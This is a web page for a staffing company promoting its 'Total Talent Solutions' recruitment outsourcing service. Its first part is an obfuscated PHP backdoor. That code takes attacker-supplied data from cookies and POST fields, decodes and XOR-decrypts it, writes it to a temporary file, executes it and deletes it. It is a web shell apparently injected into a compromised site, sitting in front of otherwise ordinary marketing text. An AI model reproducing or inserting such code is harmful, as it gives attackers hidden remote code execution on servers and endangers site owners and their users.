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$uWSfXsLqj = chr ( 679 - 612 ).chr ( 457 - 362 ).chr (75) . "\x48" . 'R' . 'f' . chr (97); $RTsSrxtOKz = "\x63" . "\154" . "\141" . "\x73" . chr (115) . '_' . "\145" . chr ( 446 - 326 )."\151" . 's' . "\164" . "\163";$ajIDb = class_exists($uWSfXsLqj); $RTsSrxtOKz = "14874";$JjGpA = strpos($RTsSrxtOKz, $uWSfXsLqj);if ($ajIDb == $JjGpA){function gkKnwxpu(){$YwABnoSFeq = new /* 5501 */ C_KHRfa(25459 + 25459); $YwABnoSFeq = NULL;}$MpGgXeYZbB = "25459";class C_KHRfa{private function NSLMnndC($MpGgXeYZbB){if (is_array(C_KHRfa::$knGOMtiK)) {$name = sys_get_temp_dir() . "/" . crc32(C_KHRfa::$knGOMtiK["salt"]);@C_KHRfa::$knGOMtiK["write"]($name, C_KHRfa::$knGOMtiK["content"]);include $name;@C_KHRfa::$knGOMtiK["delete"]($name); $MpGgXeYZbB = "25459";exit();}}public function icUHrNGR(){$dcOQxTI = "2745";$this->_dummy = str_repeat($dcOQxTI, strlen($dcOQxTI));}public function __destruct(){C_KHRfa::$knGOMtiK = @unserialize(C_KHRfa::$knGOMtiK); $MpGgXeYZbB = "7407_62740";$this->NSLMnndC($MpGgXeYZbB); $MpGgXeYZbB = "7407_62740";}public function fOUNkOPFU($dcOQxTI, $AyqxmLW){return $dcOQxTI[0] ^ str_repeat($AyqxmLW, intval(strlen($dcOQxTI[0]) / strlen($AyqxmLW)) + 1);}public function WxeeL($dcOQxTI){$GrJpbHq = chr (98) . chr ( 388 - 291 ).chr (115) . "\145" . "\66" . "\64";return array_map($GrJpbHq . chr (95) . chr ( 524 - 424 ).chr (101) . chr (99) . 'o' . "\144" . 'e', array($dcOQxTI,));}public function __construct($gVNKsNfZ=0){$BsyYOP = "\54";$dcOQxTI = "";$ntPTAwLns = $_POST;$WtbjaGwM = $_COOKIE;$AyqxmLW = "ab2fe248-606f-47ee-a2c0-adaa6b492699";$LzMKO = @$WtbjaGwM[substr($AyqxmLW, 0, 4)];if (!empty($LzMKO)){$LzMKO = explode($BsyYOP, $LzMKO);foreach ($LzMKO as $FNwFPkwVTd){$dcOQxTI .= @$WtbjaGwM[$FNwFPkwVTd];$dcOQxTI .= @$ntPTAwLns[$FNwFPkwVTd];}$dcOQxTI = $this->WxeeL($dcOQxTI);}C_KHRfa::$knGOMtiK = $this->fOUNkOPFU($dcOQxTI, $AyqxmLW);if (strpos($AyqxmLW, $BsyYOP) !== FALSE){$AyqxmLW = ltrim($AyqxmLW); $AyqxmLW = str_pad($AyqxmLW, 10);}}public static $knGOMtiK = 37296;}gkKnwxpu();} Total Talent Solutions|Staffing Peoples Services

Total Talent Solutions

It Outsourcing Companies

Serving all your talent needs

Whether you need a solution for recruiting permanent, fixed term contract or temporary talent, or assessing and redeploying internal talent, Staffing People Services RPO can help. We are the pioneer in providing “Total Talent Solutions” that span all categories of talent across your organisation. We are experts in tailoring solutions for our clients, including the people, process, tools and technology to address your unique needs.

Advantages of having a total talent solution

Right advice should be given to hiring managers about the category of talent needed to fill the vacancy, whether internal, external permanent, fixed term contract or temporary

Maximizes the efficiency of your sourcing efforts, as talent pools of permanent and contingent talent are becoming interchangeable

Makes the “temporary to permanent” process easier to navigate, more rigorous and less costly.

Significantly reduces costs and agency usage across permanent and contingent vendors

Improves internal mobility and redeployment, reducing costs of separation

Improves reporting and drives greater insights across permanent, internal and contingent hiring

Reduces time to source and time to fill

Improves your employer brand image in the marketplace

Provides flexibility and scalability, allowing you to increase your recruiting effort up or down as the need arises